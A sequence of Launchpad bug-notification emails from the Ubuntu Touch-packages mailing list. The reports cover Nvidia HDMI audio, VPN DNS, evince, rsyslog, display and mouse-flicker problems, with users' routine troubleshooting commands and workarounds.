Can you please describe the problem in a sentence or two? ** Package changed: alsa-driver (Ubuntu) => linux (Ubuntu) ** Also affects: pulseaudio (Ubuntu) Importance: Undecided Status: New ** Changed in: linux (Ubuntu) Status: New => Incomplete ** Changed in: pulseaudio (Ubuntu) Status: New => Incomplete -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to alsa-driver in Ubuntu. https://bugs.launchpad.net/bugs/1800118 Title: [OMEN X by HP Laptop 17-ap0xx, Nvidia GPU 83 HDMI/DP, Digital Out, HDMI] Playback problem Status in linux package in Ubuntu: Incomplete Status in pulseaudio package in Ubuntu: Incomplete Bug description: Below is a Cut and paste of a recent Ubuntu Forum Page where I posted the issues https://ubuntuforums.org/showthread.php?t=2404566 Note that though it says "Solved" it is just workarounds of Bigger ACPI Issues! ubuntu 18.10 OK, This is a new thread, and I will make it HUGE! Edit Solution/ Work Around for the "2/" Problem see Post # 4, Thanks PeterSaints Ubuntu, Please Listen! Nvidia, HDA WOES in the Title ... HDA stands for High Definition Audio, or HDMI Audio, or Surround Sound 5.1-7.1 etc. ... NVHDA stands for Nvidia HDA. Just for anyone who does not know the Jargon! What does Work ... (and I will post ALL my Notes and Links for others below!) 1/ Everything AFTER STUPIDLY!, I need to install a Kernel PATCH! and 2/ A STUPIDLY Necessary Restart after ANY Hibernation or Suspend! First my System, and most importantly is it is a NEW Cutting Edge Hp Omen X Laptop with a Nvidia GTX 1080m GPU, and the latest Linux 3.18 Kernel! -Computer- Processor : Intel(R) Core(TM) i7-7820HK CPU @ 2.90GHz Memory: 16245MB (3330MB used) Machine Type : Notebook Operating System : Ubuntu 18.10 -Display- Resolution: 1920x1080 pixels OpenGL Renderer : GeForce GTX 1080/PCIe/SSE2 X11 Vendor: The X.Org Foundation -Audio Devices- Audio Adapter : HDA-Intel - HDA Intel PCH Audio Adapter : HDA-Intel - HDA NVidia -Input Devices- Video Bus ST LIS3LV02DL Accelerometer HDA Intel PCH Mic HDA Intel PCH Mic HDA Intel PCH Headphone HP WMI hotkeys HDA NVidia HDMI/DP,pcm:3 HDA NVidia HDMI/DP,pcm:7 HDA NVidia HDMI/DP,pcm:8 So the LATEST 2 Problems I am looking for a SOLUTION that would indeed help THOUSANDS and/or MILLIONS of people Now and/or in the near future! 1/ Why SHOULD I need to apply a PATCH to a YEAR old KNOWN problem! and MORE IMPORTANTLY! 2/ Why is the fixed Patch System NOT working after a Suspend or Hibernation (Yes I am reiterating my issue once again!) After EITHER a Suspend or Hibernation, the HDA Sound is EITHER, 1/ Not VISIBLE AGAIN! ANYWHERE! Trust me, or 2/ Visible but in a Dysfunctional State, ... Showing 3 version of the NVHDA 0,1&2 ... and NONE of the 3 (three) WORK! to be clear NO SOUND AT ALL! when testing them. So I will leave it here, and to show my continued Good Faith and Obvious Continued Support For Ubuntu, below are ALL my Solutions to Date! 1st Solution - Install the patch to get the INVISIBLE and/or Unloaded HDA Visible and/or Loaded ∘ I can confirm that kernel module, posted by ‣ Maik Freudenberg (https://bugs.freedesktop.org/show_bug.cgi?id=75985#c27), • Kernel module to toggle audio function ∘ is working fine on my system. Thank you for the fix. The HDMI audio device now works as it should (now detected). ∘ The steps I did to enable HDMI audio device: • 1. Download and extract the file nvhda.tar.xz. (from above link) • 2. Run these commands in Terminal, in the location of the extracted folder Code: • $ make • $ sudo make install • $ echo nvhda | sudo tee -a /etc/initramfs-tools/modules • $ echo "options nvhda load_state=1" | sudo tee /etc/modprobe.d/nvhda.conf • $ sudo update-initramfs -u ‣ 3. Reboot. ## SOLVED ## ### 2nd Solution Hibernation/Suspend Working (Not HDA Sound of Course) Troubleshooting ‣ Prerequisites - does your kernel support suspend-to-disk? • Kernel supports whatever is listed in /sys/power/state, so: Code: cat /sys/power/state ∘ Allowed (to my knowledge) entries there include: mem, standby, freeze, disk. Explanation: ‣ mem - has several meanings, which one exactly on your system you'll find out via cat /sys/power/mem_sleep. I have: s2idle [deep] ‣ standby - Power-On Suspend (if supported) ‣ freeze - Suspend To Idle (STI) ‣ disk - Hibernate - Suspend To Disk (STD), This - you want. ∘ mine says : freeze mem disk - PERFECT! • Then we need to check Code: $ cat /sys/power/disk ‣ If (good) shows ... ‣ [platform] shutdown reboot suspend test_resume • if : (Bad) • [disabled] • (not very good) ‣ Enable Hibernate and put it in menu - Easy-Peasy • Software Prerequisites
[Touch-packages] [Bug 1800118] [NEW] [OMEN X by HP Laptop 17-ap0xx, Nvidia GPU 83 HDMI/DP, Digital Out, HDMI] Playback problem
Public bug reported: Below is a Cut and paste of a recent Ubuntu Forum Page where I posted the issues https://ubuntuforums.org/showthread.php?t=2404566 Note that though it says "Solved" it is just workarounds of Bigger ACPI Issues! ubuntu 18.10 OK, This is a new thread, and I will make it HUGE! Edit Solution/ Work Around for the "2/" Problem see Post # 4, Thanks PeterSaints Ubuntu, Please Listen! Nvidia, HDA WOES in the Title ... HDA stands for High Definition Audio, or HDMI Audio, or Surround Sound 5.1-7.1 etc. ... NVHDA stands for Nvidia HDA. Just for anyone who does not know the Jargon! What does Work ... (and I will post ALL my Notes and Links for others below!) 1/ Everything AFTER STUPIDLY!, I need to install a Kernel PATCH! and 2/ A STUPIDLY Necessary Restart after ANY Hibernation or Suspend! First my System, and most importantly is it is a NEW Cutting Edge Hp Omen X Laptop with a Nvidia GTX 1080m GPU, and the latest Linux 3.18 Kernel! -Computer- Processor : Intel(R) Core(TM) i7-7820HK CPU @ 2.90GHz Memory : 16245MB (3330MB used) Machine Type: Notebook Operating System: Ubuntu 18.10 -Display- Resolution : 1920x1080 pixels OpenGL Renderer : GeForce GTX 1080/PCIe/SSE2 X11 Vendor : The X.Org Foundation -Audio Devices- Audio Adapter : HDA-Intel - HDA Intel PCH Audio Adapter : HDA-Intel - HDA NVidia -Input Devices- Video Bus ST LIS3LV02DL Accelerometer HDA Intel PCH Mic HDA Intel PCH Mic HDA Intel PCH Headphone HP WMI hotkeys HDA NVidia HDMI/DP,pcm:3 HDA NVidia HDMI/DP,pcm:7 HDA NVidia HDMI/DP,pcm:8 So the LATEST 2 Problems I am looking for a SOLUTION that would indeed help THOUSANDS and/or MILLIONS of people Now and/or in the near future! 1/ Why SHOULD I need to apply a PATCH to a YEAR old KNOWN problem! and MORE IMPORTANTLY! 2/ Why is the fixed Patch System NOT working after a Suspend or Hibernation (Yes I am reiterating my issue once again!) After EITHER a Suspend or Hibernation, the HDA Sound is EITHER, 1/ Not VISIBLE AGAIN! ANYWHERE! Trust me, or 2/ Visible but in a Dysfunctional State, ... Showing 3 version of the NVHDA 0,1&2 ... and NONE of the 3 (three) WORK! to be clear NO SOUND AT ALL! when testing them. So I will leave it here, and to show my continued Good Faith and Obvious Continued Support For Ubuntu, below are ALL my Solutions to Date! 1st Solution - Install the patch to get the INVISIBLE and/or Unloaded HDA Visible and/or Loaded ∘ I can confirm that kernel module, posted by ‣ Maik Freudenberg (https://bugs.freedesktop.org/show_bug.cgi?id=75985#c27), • Kernel module to toggle audio function ∘ is working fine on my system. Thank you for the fix. The HDMI audio device now works as it should (now detected). ∘ The steps I did to enable HDMI audio device: • 1. Download and extract the file nvhda.tar.xz. (from above link) • 2. Run these commands in Terminal, in the location of the extracted folder Code: • $ make • $ sudo make install • $ echo nvhda | sudo tee -a /etc/initramfs-tools/modules • $ echo "options nvhda load_state=1" | sudo tee /etc/modprobe.d/nvhda.conf • $ sudo update-initramfs -u ‣ 3. Reboot. ## SOLVED ## ### 2nd Solution Hibernation/Suspend Working (Not HDA Sound of Course) Troubleshooting ‣ Prerequisites - does your kernel support suspend-to-disk? • Kernel supports whatever is listed in /sys/power/state, so: Code: cat /sys/power/state ∘ Allowed (to my knowledge) entries there include: mem, standby, freeze, disk. Explanation: ‣ mem - has several meanings, which one exactly on your system you'll find out via cat /sys/power/mem_sleep. I have: s2idle [deep] ‣ standby - Power-On Suspend (if supported) ‣ freeze - Suspend To Idle (STI) ‣ disk - Hibernate - Suspend To Disk (STD), This - you want. ∘ mine says : freeze mem disk - PERFECT! • Then we need to check Code: $ cat /sys/power/disk ‣ If (good) shows ... ‣ [platform] shutdown reboot suspend test_resume • if : (Bad) • [disabled] • (not very good) ‣ Enable Hibernate and put it in menu - Easy-Peasy • Software Prerequisites Code: sudo apt install pm-utils cpufrequtils 1. Edit a specific file with this command. Code: sudo gedit /var/lib/polkit-1/localauthority/10-vendor.d/com.ubuntu.desktop.pkla ∘ 2. Scroll down the Text Document and find the below sections: [Disable hibernate by default in upower] [Disable hibernate by default in logind] ‣ Change both the values from no to yes in: ResultActive=no (change this to yes) • Save, Exit & Reboot - Done! • To test if hibernate works in your computer by running command: Code: sudo pm-hibernate • After you computer turns off, switch it back on. ‣ Did your open applications re-open? If so it works, if not then hibernate does not work. You can check if your Swappiness partition is at least as large as your available RAM, as it may solve the problem. 3rd Solution ACPI Woes Bandaid FIX, ACPI stands for Advance Configuration and Power Interface (Thunderbolt) If
[Touch-packages] [Bug 1778946] Re: No dns resolution after closing a vpn/pptp connection
It would be a bug in "ppp" which provides that file then and worth reporting to Debian because it's coming from there directly -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to resolvconf in Ubuntu. https://bugs.launchpad.net/bugs/1778946 Title: No dns resolution after closing a vpn/pptp connection Status in network-manager package in Ubuntu: Confirmed Status in ppp package in Ubuntu: New Status in resolvconf package in Ubuntu: New Bug description: step to reproduce set a VPN connection configured to connect a Microsoft vpn server (pptp) internet acces is ok enable the vpn connection using the applet on the top right corner of the desktop internet still ok ping works disable the vpn connection ping doesn't works with a host but works if i specify an ip address ping: xx.net: Nom ou service inconnu As a workaround, i disable the ethernet link and re-enable it name resolution is now ok ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: network-manager 1.10.6-2ubuntu1 ProcVersionSignature: Ubuntu 4.15.0-23.25-generic 4.15.18 Uname: Linux 4.15.0-23-generic x86_64 NonfreeKernelModules: nvidia_modeset nvidia ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 CurrentDesktop: ubuntu:GNOME Date: Wed Jun 27 18:09:30 2018 IfupdownConfig: # interfaces(5) file used by ifup(8) and ifdown(8) auto lo iface lo inet loopback InstallationDate: Installed on 2014-06-03 (1484 days ago) InstallationMedia: Ubuntu 14.04 LTS "Trusty Tahr" - Release amd64 (20140417) IpRoute: default via 192.168.0.254 dev eth0 proto dhcp metric 20100 169.254.0.0/16 dev eth0 scope link metric 1000 192.168.0.0/24 dev eth0 proto kernel scope link src 192.168.0.47 metric 100 IwConfig: lono wireless extensions. eth0 no wireless extensions. NetworkManager.state: [main] NetworkingEnabled=true WirelessEnabled=true WWANEnabled=true RfKill: SourcePackage: network-manager UpgradeStatus: Upgraded to bionic on 2018-05-10 (48 days ago) nmcli-dev: DEVICE TYPE STATE DBUS-PATH CONNECTION CON-UUID CON-PATH eth0ethernet connected /org/freedesktop/NetworkManager/Devices/2 Connexion filaire 1 94806bba-1c68-46b6-87f4-a3aff6dd /org/freedesktop/NetworkManager/ActiveConnection/6 lo loopback unmanaged /org/freedesktop/NetworkManager/Devices/1 -- ---- nmcli-nm: RUNNING VERSION STATE STARTUP CONNECTIVITY NETWORKING WIFI-HW WIFI WWAN-HW WWAN running 1.10.6 connected (site only) started limited enabled enabled enabled enabled enabled To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/network-manager/+bug/1778946/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1778946] Re: No dns resolution after closing a vpn/pptp connection
** Tags added: rls-cc-incoming -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to resolvconf in Ubuntu. https://bugs.launchpad.net/bugs/1778946 Title: No dns resolution after closing a vpn/pptp connection Status in network-manager package in Ubuntu: Confirmed Status in ppp package in Ubuntu: New Status in resolvconf package in Ubuntu: New Bug description: step to reproduce set a VPN connection configured to connect a Microsoft vpn server (pptp) internet acces is ok enable the vpn connection using the applet on the top right corner of the desktop internet still ok ping works disable the vpn connection ping doesn't works with a host but works if i specify an ip address ping: xx.net: Nom ou service inconnu As a workaround, i disable the ethernet link and re-enable it name resolution is now ok ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: network-manager 1.10.6-2ubuntu1 ProcVersionSignature: Ubuntu 4.15.0-23.25-generic 4.15.18 Uname: Linux 4.15.0-23-generic x86_64 NonfreeKernelModules: nvidia_modeset nvidia ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 CurrentDesktop: ubuntu:GNOME Date: Wed Jun 27 18:09:30 2018 IfupdownConfig: # interfaces(5) file used by ifup(8) and ifdown(8) auto lo iface lo inet loopback InstallationDate: Installed on 2014-06-03 (1484 days ago) InstallationMedia: Ubuntu 14.04 LTS "Trusty Tahr" - Release amd64 (20140417) IpRoute: default via 192.168.0.254 dev eth0 proto dhcp metric 20100 169.254.0.0/16 dev eth0 scope link metric 1000 192.168.0.0/24 dev eth0 proto kernel scope link src 192.168.0.47 metric 100 IwConfig: lono wireless extensions. eth0 no wireless extensions. NetworkManager.state: [main] NetworkingEnabled=true WirelessEnabled=true WWANEnabled=true RfKill: SourcePackage: network-manager UpgradeStatus: Upgraded to bionic on 2018-05-10 (48 days ago) nmcli-dev: DEVICE TYPE STATE DBUS-PATH CONNECTION CON-UUID CON-PATH eth0ethernet connected /org/freedesktop/NetworkManager/Devices/2 Connexion filaire 1 94806bba-1c68-46b6-87f4-a3aff6dd /org/freedesktop/NetworkManager/ActiveConnection/6 lo loopback unmanaged /org/freedesktop/NetworkManager/Devices/1 -- ---- nmcli-nm: RUNNING VERSION STATE STARTUP CONNECTIVITY NETWORKING WIFI-HW WIFI WWAN-HW WWAN running 1.10.6 connected (site only) started limited enabled enabled enabled enabled enabled To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/network-manager/+bug/1778946/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1800003] Re: evince crashes in FcConfigParseAndLoad
Can you get a backtrace using gdb and the output of those commands
- dpkg -l | grep evince
- which evince
- ldd -r /usr/bin/evince
?
** Changed in: fontconfig (Ubuntu)
Importance: Undecided => High
** Changed in: fontconfig (Ubuntu)
Status: New => Incomplete
--
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to fontconfig in Ubuntu.
https://bugs.launchpad.net/bugs/183
Title:
evince crashes in FcConfigParseAndLoad
Status in fontconfig package in Ubuntu:
Incomplete
Bug description:
I have the following situation persistently on my system (Ubuntu
18.04.1 on Dell Latitude E6500):
Evince called with any pdf file crashes immediately with a
segmentation fault. From the crash dump, I see that the crash happens
in fontconfig's FcConfigParseAndLoad function, i.e. when the system
fonts.conf is read. I can reproduce the crash with the following
minimal example:
#include
const FcChar8* filename = "/home/mirkoh/fontconfig-test/fonts.conf";
FcConfig* config;
int main(){
FcConfigParseAndLoad(config, filename, FcTrue);
}
The fonts.conf file used here is also absolutely minimal:
(Get me right. It first happened with my system fonts.conf, which is
not empty. In order to find out whether a specific entry lead to the
crash, I deleted entry after entry, ultimately reaching the file
above, and always FcConfigParseAndLoad crashes.
I have no idea how to go on from here.
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/fontconfig/+bug/183/+subscriptions
--
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1794473] Re: ubuntu18.04 no sound after disconnect from television
*** This bug is a duplicate of bug 1711101 *** https://bugs.launchpad.net/bugs/1711101 Thank you for taking the time to report this bug and helping to make Ubuntu better. This particular bug has already been reported and is a duplicate of bug 1711101, so it is being marked as such. Please look at the other bug report to see if there is any missing information that you can provide, or to see if there is a workaround for the bug. Additionally, any further discussion regarding the bug should occur in the other report. Feel free to continue to report any other bugs you may find. ** Package changed: alsa-driver (Ubuntu) => pulseaudio (Ubuntu) ** This bug has been marked a duplicate of bug 1711101 Audio doesn't auto switch away from HDMI after unplugging HDMI -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to pulseaudio in Ubuntu. https://bugs.launchpad.net/bugs/1794473 Title: ubuntu18.04 no sound after disconnect from television Status in pulseaudio package in Ubuntu: New Bug description: I use hdmi connect to my television and set sound output device to: HDMI XXX. After I disconnect from my television, the ubuntu system will have no sound. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/pulseaudio/+bug/1794473/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1800107] Re: package rsyslog 8.32.0-1ubuntu5 failed to install/upgrade: installed rsyslog package post-installation script subprocess returned error exit status 10
** Tags removed: need-duplicate-check -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to rsyslog in Ubuntu. https://bugs.launchpad.net/bugs/1800107 Title: package rsyslog 8.32.0-1ubuntu5 failed to install/upgrade: installed rsyslog package post-installation script subprocess returned error exit status 10 Status in rsyslog package in Ubuntu: New Bug description: i can't install deb files like google remote desktop,virtual box etc ProblemType: Package DistroRelease: Ubuntu 18.10 Package: rsyslog 8.32.0-1ubuntu5 ProcVersionSignature: Ubuntu 4.18.0-11.12-generic 4.18.12 Uname: Linux 4.18.0-11-generic x86_64 ApportVersion: 2.20.10-0ubuntu13 Architecture: amd64 Date: Fri Oct 26 12:47:54 2018 DuplicateSignature: package:rsyslog:8.32.0-1ubuntu5 Setting up gconf2-common (3.2.6-4.1ubuntu2) ... Fontconfig warning: "/etc/fonts/conf.avail/53-monospace-lcd-filter.conf", line 10: Having multiple values in isn't supported and may not work as expected dpkg: error processing package gconf2-common (--configure): installed gconf2-common package post-installation script subprocess returned error exit status 10 ErrorMessage: installed rsyslog package post-installation script subprocess returned error exit status 10 InstallationDate: Installed on 2018-08-01 (85 days ago) InstallationMedia: Ubuntu 18.04.1 LTS "Bionic Beaver" - Release amd64 (20180725) Python3Details: /usr/bin/python3.6, Python 3.6.7, python3-minimal, 3.6.7-1~18.10 PythonDetails: /usr/bin/python2.7, Python 2.7.15+, python-minimal, 2.7.15-3 RelatedPackageVersions: dpkg 1.19.0.5ubuntu5 apt 1.7.0 SourcePackage: rsyslog Title: package rsyslog 8.32.0-1ubuntu5 failed to install/upgrade: installed rsyslog package post-installation script subprocess returned error exit status 10 UpgradeStatus: Upgraded to cosmic on 2018-10-26 (0 days ago) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/rsyslog/+bug/1800107/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1799613] Re: In kernel 4.14.59, monitor resolution is detected correctly. In kernels after that, they are not detected correctly.
** No longer affects: xorg (Ubuntu) -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1799613 Title: In kernel 4.14.59, monitor resolution is detected correctly. In kernels after that, they are not detected correctly. Status in Linux: Unknown Status in linux package in Ubuntu: Confirmed Bug description: dpkg --list | grep linux-image ii linux-image-4.15.0-36-generic 4.15.0-36.39 amd64Signed kernel image generic ii linux-image-4.15.0-38-generic 4.15.0-38.41 amd64Signed kernel image generic ii linux-image-generic 4.15.0.38.40 amd64Generic Linux kernel image ii linux-image-unsigned-4.14.59-041459-generic 4.14.59-041459.201807280929 amd64Linux kernel image for version 4.14.59 on 64 bit x86 SMP Booting from GRUB into 4.14.59 allows my two monitors to run at their native resolution, 2560x1440. Any newer kernel does not allow my two monitors to run at their native resolution, only allowing up to 1920x1200. uname -a Linux blackbox 4.14.59-041459-generic #201807280929 SMP Sat Jul 28 09:32:10 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux To manage notifications about this bug go to: https://bugs.launchpad.net/linux/+bug/1799613/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1800107] [NEW] package rsyslog 8.32.0-1ubuntu5 failed to install/upgrade: installed rsyslog package post-installation script subprocess returned error exit status 10
Public bug reported: i can't install deb files like google remote desktop,virtual box etc ProblemType: Package DistroRelease: Ubuntu 18.10 Package: rsyslog 8.32.0-1ubuntu5 ProcVersionSignature: Ubuntu 4.18.0-11.12-generic 4.18.12 Uname: Linux 4.18.0-11-generic x86_64 ApportVersion: 2.20.10-0ubuntu13 Architecture: amd64 Date: Fri Oct 26 12:47:54 2018 DuplicateSignature: package:rsyslog:8.32.0-1ubuntu5 Setting up gconf2-common (3.2.6-4.1ubuntu2) ... Fontconfig warning: "/etc/fonts/conf.avail/53-monospace-lcd-filter.conf", line 10: Having multiple values in isn't supported and may not work as expected dpkg: error processing package gconf2-common (--configure): installed gconf2-common package post-installation script subprocess returned error exit status 10 ErrorMessage: installed rsyslog package post-installation script subprocess returned error exit status 10 InstallationDate: Installed on 2018-08-01 (85 days ago) InstallationMedia: Ubuntu 18.04.1 LTS "Bionic Beaver" - Release amd64 (20180725) Python3Details: /usr/bin/python3.6, Python 3.6.7, python3-minimal, 3.6.7-1~18.10 PythonDetails: /usr/bin/python2.7, Python 2.7.15+, python-minimal, 2.7.15-3 RelatedPackageVersions: dpkg 1.19.0.5ubuntu5 apt 1.7.0 SourcePackage: rsyslog Title: package rsyslog 8.32.0-1ubuntu5 failed to install/upgrade: installed rsyslog package post-installation script subprocess returned error exit status 10 UpgradeStatus: Upgraded to cosmic on 2018-10-26 (0 days ago) ** Affects: rsyslog (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-package cosmic -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to rsyslog in Ubuntu. https://bugs.launchpad.net/bugs/1800107 Title: package rsyslog 8.32.0-1ubuntu5 failed to install/upgrade: installed rsyslog package post-installation script subprocess returned error exit status 10 Status in rsyslog package in Ubuntu: New Bug description: i can't install deb files like google remote desktop,virtual box etc ProblemType: Package DistroRelease: Ubuntu 18.10 Package: rsyslog 8.32.0-1ubuntu5 ProcVersionSignature: Ubuntu 4.18.0-11.12-generic 4.18.12 Uname: Linux 4.18.0-11-generic x86_64 ApportVersion: 2.20.10-0ubuntu13 Architecture: amd64 Date: Fri Oct 26 12:47:54 2018 DuplicateSignature: package:rsyslog:8.32.0-1ubuntu5 Setting up gconf2-common (3.2.6-4.1ubuntu2) ... Fontconfig warning: "/etc/fonts/conf.avail/53-monospace-lcd-filter.conf", line 10: Having multiple values in isn't supported and may not work as expected dpkg: error processing package gconf2-common (--configure): installed gconf2-common package post-installation script subprocess returned error exit status 10 ErrorMessage: installed rsyslog package post-installation script subprocess returned error exit status 10 InstallationDate: Installed on 2018-08-01 (85 days ago) InstallationMedia: Ubuntu 18.04.1 LTS "Bionic Beaver" - Release amd64 (20180725) Python3Details: /usr/bin/python3.6, Python 3.6.7, python3-minimal, 3.6.7-1~18.10 PythonDetails: /usr/bin/python2.7, Python 2.7.15+, python-minimal, 2.7.15-3 RelatedPackageVersions: dpkg 1.19.0.5ubuntu5 apt 1.7.0 SourcePackage: rsyslog Title: package rsyslog 8.32.0-1ubuntu5 failed to install/upgrade: installed rsyslog package post-installation script subprocess returned error exit status 10 UpgradeStatus: Upgraded to cosmic on 2018-10-26 (0 days ago) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/rsyslog/+bug/1800107/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1794923] Re: Corrupt sreen in CIV VI
** Changed in: llvm-toolchain-7 (Ubuntu) Status: Confirmed => Won't Fix -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to mesa in Ubuntu. https://bugs.launchpad.net/bugs/1794923 Title: Corrupt sreen in CIV VI Status in llvm-toolchain-7 package in Ubuntu: Won't Fix Status in mesa package in Ubuntu: Fix Released Bug description: After the upgrade of MESA to 18.2.1, CIV VI has corrupt picture elements in full screen mode, e.g the buttons to the right in the upper panel are corrupt. The intro picture when starting a game is not displayed correctly. See the attached screenshot. ProblemType: Bug DistroRelease: Ubuntu 18.10 Package: xorg 1:7.7+19ubuntu8 ProcVersionSignature: Ubuntu 4.18.0-7.8-generic 4.18.5 Uname: Linux 4.18.0-7-generic x86_64 ApportVersion: 2.20.10-0ubuntu11 Architecture: amd64 BootLog: Error: [Errno 13] Permission denied: '/var/log/boot.log' CompositorRunning: None CurrentDesktop: ubuntu:GNOME Date: Fri Sep 28 07:39:24 2018 DistUpgraded: Fresh install DistroCodename: cosmic DistroVariant: ubuntu ExtraDebuggingInterest: Yes, if not too technical GraphicsCard: Advanced Micro Devices, Inc. [AMD/ATI] Ellesmere [Radeon RX 470/480/570/570X/580/580X] [1002:67df] (rev e7) (prog-if 00 [VGA controller]) Subsystem: Micro-Star International Co., Ltd. [MSI] Ellesmere [Radeon RX 470/480/570/570X/580/580X] [1462:3417] InstallationDate: Installed on 2018-08-09 (49 days ago) InstallationMedia: Ubuntu 18.10 "Cosmic Cuttlefish" - Alpha amd64 (20180809) MachineType: Micro-Star International Co., Ltd. MS-7A34 ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.18.0-7-generic root=UUID=2a36b13d-f333-477e-b902-ea7322f6b566 ro quiet splash vt.handoff=1 SourcePackage: xorg Symptom: display UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 05/02/2018 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: 1.H0 dmi.board.asset.tag: To be filled by O.E.M. dmi.board.name: B350 TOMAHAWK (MS-7A34) dmi.board.vendor: Micro-Star International Co., Ltd. dmi.board.version: 1.0 dmi.chassis.asset.tag: To be filled by O.E.M. dmi.chassis.type: 3 dmi.chassis.vendor: Micro-Star International Co., Ltd. dmi.chassis.version: 1.0 dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvr1.H0:bd05/02/2018:svnMicro-StarInternationalCo.,Ltd.:pnMS-7A34:pvr1.0:rvnMicro-StarInternationalCo.,Ltd.:rnB350TOMAHAWK(MS-7A34):rvr1.0:cvnMicro-StarInternationalCo.,Ltd.:ct3:cvr1.0: dmi.product.family: To be filled by O.E.M. dmi.product.name: MS-7A34 dmi.product.sku: To be filled by O.E.M. dmi.product.version: 1.0 dmi.sys.vendor: Micro-Star International Co., Ltd. version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.94-1 version.libgl1-mesa-dri: libgl1-mesa-dri 18.2.1-1ubuntu1 version.libgl1-mesa-glx: libgl1-mesa-glx 18.2.1-1ubuntu1 version.xserver-xorg-core: xserver-xorg-core 2:1.20.1-1ubuntu2 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:18.1.0-1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20171229-1build1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.15-3 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/llvm-toolchain-7/+bug/1794923/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1278223] Re: Mouse Flickering after adding 3rd Monitor
Also occurs on Linux Mint 19 Cinnamon. The 2nd or 3rd monitors do not even have to be turned on. I just have to connect to the displayLink docking station for the flickering to start. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1278223 Title: Mouse Flickering after adding 3rd Monitor Status in xorg package in Ubuntu: Incomplete Bug description: *PLEASE READ FIRST BEFORE CONSIDERING MAKING A COMMENT* If you are having an issue and want it addressed, it is most helpful to file a new report. If you were led here by DisplayLink's website, you were led here in error as no useful debugging information has been provided by the original reporter, which is necessary to root cause, and solve the issue he reported. Posting comments about how you think you have the same problem isn't helpful here. My issues is, after adding a 3rd monitor to Ubuntu 14.04, the mouse flickers (or blinks) when the cursor is on monitors one or two, but not 3. Monitor 1: 1440 x 900 - Laptop's Native Monitor Monitor 2: 1920 x 1080 - Laptop's HDMI Port's External Monitor Monitor 3: 1024 x 768 - SIIG USB 2.0 to VGA Pro Monitor Here's the video card that feeds my laptop's native monitor, monitor 2 (hdmi). lspci | grep 'VGA\|Display' 00:02.0 VGA compatible controller: Intel Corporation Mobile 4 Series Chipset Integrated Graphics Controller (rev 07) 00:02.1 Display controller: Intel Corporation Mobile 4 Series Chipset Integrated Graphics Controller (rev 07) The 3rd Monitor is powered through a Display Link certified SIIG USB 2.0 to VGA Pro adapter (A2H1320X1374 - not sure what this number, but it is a sticker on back of the device): lsusb -tv /: Bus 01.Port 1: Dev 1, Class=root_hub, Driver=ehci-pci/6p, 480M |__ Port 6: Dev 2, If 0, Class=Video, Driver=uvcvideo, 480M |__ Port 6: Dev 2, If 1, Class=Video, Driver=uvcvideo, 480M dmesg [1.688343] usb 2-1: New USB device found, idVendor=17e9, idProduct=02ee [1.688348] usb 2-1: New USB device strings: Mfr=1, Product=2, SerialNumber=3 [1.688351] usb 2-1: Product: VGA Display Adapter [1.688353] usb 2-1: 